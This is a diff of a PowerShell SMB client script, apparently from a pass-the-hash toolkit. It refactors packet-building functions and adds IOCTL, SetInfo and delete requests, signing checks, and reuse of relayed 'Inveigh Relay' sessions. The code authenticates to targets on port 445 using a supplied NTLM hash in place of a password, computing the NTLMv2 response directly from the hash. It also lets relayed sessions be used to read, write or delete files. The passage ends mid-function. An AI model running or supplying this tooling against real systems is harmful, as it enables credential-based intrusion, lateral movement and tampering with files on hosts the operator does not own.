$SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) - return $packet_SMB2TreeDisconnectRequest + return $SMB2SessionLogoffRequest } -function Get-PacketSMB2SessionLogoffRequest() +function New-PacketSMB2IoctlRequest() { - $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) - $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + param([Byte[]]$FileName) - return $packet_SMB2SessionLogoffRequest + $file_name_length = [System.BitConverter]::GetBytes($FileName.Length + 2) + + $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Function",[Byte[]](0x94,0x01,0x06,0x00)) + $packet_SMB2IoctlRequest.Add("GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff)) + $packet_SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_Length",$file_name_length) + $packet_SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_MaxReferralLevel",[Byte[]](0x04,0x00)) + $packet_SMB2IoctlRequest.Add("InData_FileName",$FileName) + + return $packet_SMB2IoctlRequest +} + +function New-PacketSMB2SetInfoRequest +{ + param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$FileID,[Byte[]]$Buffer) + + [Byte[]]$buffer_length = [System.BitConverter]::GetBytes($Buffer.Count) + + $SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SetInfoRequest.Add("StructureSize",[Byte[]](0x21,0x00)) + $SMB2SetInfoRequest.Add("InfoType",$InfoType) + $SMB2SetInfoRequest.Add("FileInfoClass",$FileInfoClass) + $SMB2SetInfoRequest.Add("BufferLength",$buffer_length) + $SMB2SetInfoRequest.Add("BufferOffset",[Byte[]](0x60,0x00)) + $SMB2SetInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2SetInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SetInfoRequest.Add("FileID",$FileID) + $SMB2SetInfoRequest.Add("Buffer",$Buffer) + + return $SMB2SetInfoRequest } #NTLM -function Get-PacketNTLMSSPNegotiate() +function New-PacketNTLMSSPNegotiate { - param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] - [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 - [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 - [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 - [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 - - $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_version) + param([Byte[]]$NegotiateFlags,[Byte[]]$Version) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] + [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 + [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 + [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 + [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 + + $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) + $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) + $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) + $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) + $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) + $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($Version) { - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + $NTLMSSPNegotiate.Add("Version",$Version) } - return $packet_NTLMSSPNegotiate + return $NTLMSSPNegotiate } -function Get-PacketNTLMSSPAuth() +function New-PacketNTLMSSPAuth { - param([Byte[]]$packet_NTLM_response) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] - [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) - $packet_ASN_length_1 = $packet_ASN_length_1[1,0] - [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) - $packet_ASN_length_2 = $packet_ASN_length_2[1,0] - [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) - $packet_ASN_length_3 = $packet_ASN_length_3[1,0] - - $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) - - return $packet_NTLMSSPAuth + param([Byte[]]$NTLMResponse) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] + [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] + [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] + [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] + + $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) + $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) + $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) + $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) + + return $NTLMSSPAuth } -function DataLength2 +function Get-UInt16DataLength { - param ([Int]$length_start,[Byte[]]$string_extract_data) + param ([Int]$Start,[Byte[]]$Data) - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) - return $string_length + return $data_length } if($Modify -and $Action -eq 'Put' -and $Source -isnot [Byte[]]) { - $output_message = "Source must be a byte array when using -Modify" + $output_message = "[-] Source must be a byte array when using -Modify" $startup_error = $true } elseif((!$Modify -and $Source -isnot [String]) -or ($Modify -and $Action -ne 'Put' -and $Source -isnot [String])) { - $output_message = "Source must be a string" + $output_message = "[-] Source must be a string" + $startup_error = $true +} +elseif($Action -eq 'Delete' -and !$Source.StartsWith("\\")) +{ + $output_message = "[-] Source must be a UNC file path" $startup_error = $true } elseif($Source -is [String]) @@ -713,6 +778,27 @@ elseif($Source -is [String]) $source = $Source.Replace('.\','') } +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + + if(!$Inveigh) + { + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true + } + elseif(!$inveigh.session_socket_table[$session].Connected) + { + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true + } + +} + $destination = $Destination.Replace('.\','') if($hash -like "*:*") @@ -731,9 +817,14 @@ else $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} -$SMB_client = New-Object System.Net.Sockets.TCPClient -$SMB_client.Client.ReceiveTimeout = 30000 +[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +if(!$inveigh_session) +{ + $client = New-Object System.Net.Sockets.TCPClient + $client.Client.ReceiveTimeout = 30000 +} + $action_step = 0 if($Action -ne 'Put') @@ -777,7 +868,7 @@ switch($Action) if(Test-Path (Join-Path $PWD $destination)) { - $output_message = "Destination file already exists" + $output_message = "[-] Destination file already exists" $startup_error = $true } else @@ -791,7 +882,7 @@ switch($Action) if(Test-Path (Join-Path $PWD $source_file)) { - $output_message = "Destination file already exists" + $output_message = "[-] Destination file already exists" $startup_error = $true } else @@ -853,14 +944,13 @@ switch($Action) } else { - $output_message = "File not found" + $output_message = "[-] File not found" $startup_error = $true } } else { - [Int64]$source_file_size = $Source.Count if($source_file_size -gt 65536) @@ -915,1718 +1005,1900 @@ if($share_subdirectory -and $share_subdirectory.EndsWith('\')) $share_subdirectory = $share_subdirectory.Substring(0,$share_subdirectory.Length - 1) } -if(!$startup_error) +if(!$startup_error -and !$inveigh_session) { try { - $SMB_client.Connect($target,"445") + $client.Connect($target,"445") } catch { - $output_message = "$target did not respond" + $output_message = "[-] $target did not respond" } } -if($SMB_client.Connected) +if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) { - $SMB_client_stream = $SMB_client.GetStream() - $SMB_client_receive = New-Object System.Byte[] 81920 - $SMB_client_stage = 'NegotiateSMB' + + $client_receive = New-Object System.Byte[] 81920 - while($SMB_client_stage -ne 'exit') + if(!$inveigh_session) { + $client_stream = $client.GetStream() - switch($SMB_client_stage) + if($SMB_version -eq 'SMB2.1') + { + $stage = 'NegotiateSMB2' + } + else { + $stage = 'NegotiateSMB' + } - 'NegotiateSMB' - { - $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes[0,1] 0x00,0x00 - $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + while($stage -ne 'Exit') + { - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_client_stage = 'exit' - $login_successful = $false - $output_message = "SMB1 is not supported" - } - else + try + { + + switch ($stage) { - $SMB_version = 'SMB2' - $SMB_client_stage = 'NegotiateSMB2' - if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') - { - Write-Verbose "SMB signing is enabled" - $SMB_signing = $true - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 - } - else - { - $SMB_signing = $false - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 - } + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - } + if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $stage = 'NTLMSSPNegotiate' - } + if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') + { - 'NegotiateSMB2' - { - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_message_ID = 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'exit' - } - - } + if($signing_check) + { + Write-Output "[+] SMB signing is required on $Target" + $stage = 'Exit' + } + else + { + Write-Verbose "[+] SMB signing is required" + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } - } + } + else + { - if($SMB_version -eq 'SMB2') - { - $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) - $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" - $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 - $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive - $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive - $SMB_session_ID = $SMB_client_receive[44..51] - $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] - $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] - $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (Get-ChildItem -path env:computername).Value - $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) - $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) - $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] - $auth_domain_offset = 0x40,0x00,0x00,0x00 - $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) - $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) - $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) - $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) - $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 - $HMAC_MD5.key = $NTLM_hash_bytes - $username_and_target = $username.ToUpper() - $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) - $username_and_target_bytes += $auth_domain_bytes - $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) - $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - $security_blob_bytes = 0x01,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00 + - $SMB_target_time_bytes + - $client_challenge_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_target_details + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes - $HMAC_MD5.key = $NTLMv2_hash - $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) - - if($SMB_signing) - { - $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) - $session_key = $session_base_key - $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 - $HMAC_SHA256.key = $session_key - } + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $Target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x82,0x08,0xa0 + } - $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] - $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) - - $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, - 0x03,0x00,0x00,0x00, - 0x18,0x00, - 0x18,0x00 + - $auth_LM_offset + - $NTLMv2_response_length + - $NTLMv2_response_length + - $auth_NTLM_offset + - $auth_domain_length + - $auth_domain_length + - $auth_domain_offset + - $auth_username_length + - $auth_username_length + - $auth_username_offset + - $auth_hostname_length + - $auth_hostname_length + - $auth_hostname_offset + - $SMB_session_key_length + - $SMB_session_key_length + - $SMB_session_key_offset + - $SMB_negotiate_flags + - $auth_domain_bytes + - $auth_username_bytes + - $auth_hostname_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $NTLMv2_response - - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $NTLMSSP_response - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') - { - Write-Verbose "$output_username successfully authenticated on $target" - $login_successful = $true - } - else - { - $output_message = "$output_username failed to authenticate on $target" - $login_successful = $false - } + } - } + } + else + { + $stage = 'NegotiateSMB2' - try - { + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') + { - if($login_successful) - { - $SMB_path = "\\" + $Target + "\IPC$" - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) - $directory_list = New-Object System.Collections.ArrayList - $SMB_client_stage = 'TreeConnect' + if($signing_check) + { + Write-Output "[+] SMB signing is required on $Target" + $stage = 'Exit' + } + else + { - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') - { + if(!$SMB_signing) + { + Write-Verbose "[+] SMB signing is required" + } - switch($SMB_client_stage) - { - - 'TreeConnect' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + } + else + { - $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service 